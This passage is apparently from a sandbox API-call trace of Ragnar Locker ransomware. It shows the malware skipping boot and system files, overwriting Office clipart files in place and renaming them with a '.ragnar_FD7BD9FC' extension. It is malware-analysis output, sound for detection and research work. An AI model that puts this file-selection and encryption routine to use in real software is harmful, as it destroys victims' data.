SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.221] GetProcessHeap () returned 0x580000 [0092.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.221] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.222] VirtualAlloc (lpAddress=0x0, dwSize=0xe88, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.223] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe88, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe88, lpOverlapped=0x0) returned 1 [0092.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.223] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe88, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.223] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe88, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe88, lpOverlapped=0x0) returned 1 [0092.223] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe88, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.223] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.223] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.223] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.223] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.224] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.224] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.224] GetProcessHeap () returned 0x580000 [0092.224] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.224] CloseHandle (hObject=0xf4) returned 1 [0092.224] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" [0092.224] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.ragnar_FD7BD9FC" [0092.224] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.225] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26de00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26de00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02253_.WMF", cAlternateFileName="")) returned 1 [0092.225] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.225] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02253_.WMF" | out: lpString1="SO02253_.WMF") returned="SO02253_.WMF" [0092.225] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF") returned=".WMF" [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="autorun.inf") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="boot.ini") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="bootfont.bin") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="bootsect.bak") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="bootmgr") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="bootmgr.efi") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="desktop.ini") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="iconcache.db") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="ntldr") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="ntuser.dat") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="ntuser.ini") returned 1 [0092.225] lstrcmpiW (lpString1="SO02253_.WMF", lpString2="thumbs.db") returned -1 [0092.225] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.225] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.225] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.225] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.225] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.225] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.225] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf")) returned 0x20 [0092.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.226] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2272) returned 1 [0092.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.226] GetProcessHeap () returned 0x580000 [0092.226] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.226] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.228] VirtualAlloc (lpAddress=0x0, dwSize=0x8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.228] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8e0, lpOverlapped=0x0) returned 1 [0092.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.228] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8e0, lpOverlapped=0x0) returned 1 [0092.228] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.228] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.228] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.228] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.229] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.229] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.229] GetProcessHeap () returned 0x580000 [0092.229] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.229] CloseHandle (hObject=0xf4) returned 1 [0092.229] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" [0092.229] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.ragnar_FD7BD9FC" [0092.229] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.230] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1436bc00, ftCreationTime.dwHighDateTime=0x1bd4be4, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1436bc00, ftLastWriteTime.dwHighDateTime=0x1bd4be4, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02261_.WMF", cAlternateFileName="")) returned 1 [0092.230] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.230] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02261_.WMF" | out: lpString1="SO02261_.WMF") returned="SO02261_.WMF" [0092.230] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF") returned=".WMF" [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="autorun.inf") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="boot.ini") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="bootfont.bin") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="bootsect.bak") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="bootmgr") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="bootmgr.efi") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="desktop.ini") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="iconcache.db") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="ntldr") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="ntuser.dat") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="ntuser.ini") returned 1 [0092.230] lstrcmpiW (lpString1="SO02261_.WMF", lpString2="thumbs.db") returned -1 [0092.230] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.230] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.230] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.230] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.230] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.230] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.230] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf")) returned 0x20 [0092.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.231] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2072) returned 1 [0092.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x80f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.231] GetProcessHeap () returned 0x580000 [0092.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.232] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.233] VirtualAlloc (lpAddress=0x0, dwSize=0x818, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.233] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x818, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x818, lpOverlapped=0x0) returned 1 [0092.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.233] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x818, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.233] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x818, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x818, lpOverlapped=0x0) returned 1 [0092.233] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x818, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.234] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x818, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.234] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.234] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.234] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.234] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.234] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.234] GetProcessHeap () returned 0x580000 [0092.234] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.234] CloseHandle (hObject=0xf4) returned 1 [0092.234] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" [0092.234] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.ragnar_FD7BD9FC" [0092.234] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.235] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3be44f00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3be44f00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02263_.WMF", cAlternateFileName="")) returned 1 [0092.235] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.235] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02263_.WMF" | out: lpString1="SO02263_.WMF") returned="SO02263_.WMF" [0092.235] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF") returned=".WMF" [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="autorun.inf") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="boot.ini") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="bootfont.bin") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="bootsect.bak") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="bootmgr") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="bootmgr.efi") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="desktop.ini") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="iconcache.db") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="ntldr") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="ntuser.dat") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="ntuser.ini") returned 1 [0092.235] lstrcmpiW (lpString1="SO02263_.WMF", lpString2="thumbs.db") returned -1 [0092.235] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.236] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.236] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.236] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.236] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.236] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.236] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf")) returned 0x20 [0092.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.236] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2708) returned 1 [0092.236] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.236] GetProcessHeap () returned 0x580000 [0092.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.236] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.238] VirtualAlloc (lpAddress=0x0, dwSize=0xa94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.238] SetFilePointerEx (in: hFile=0xf4, 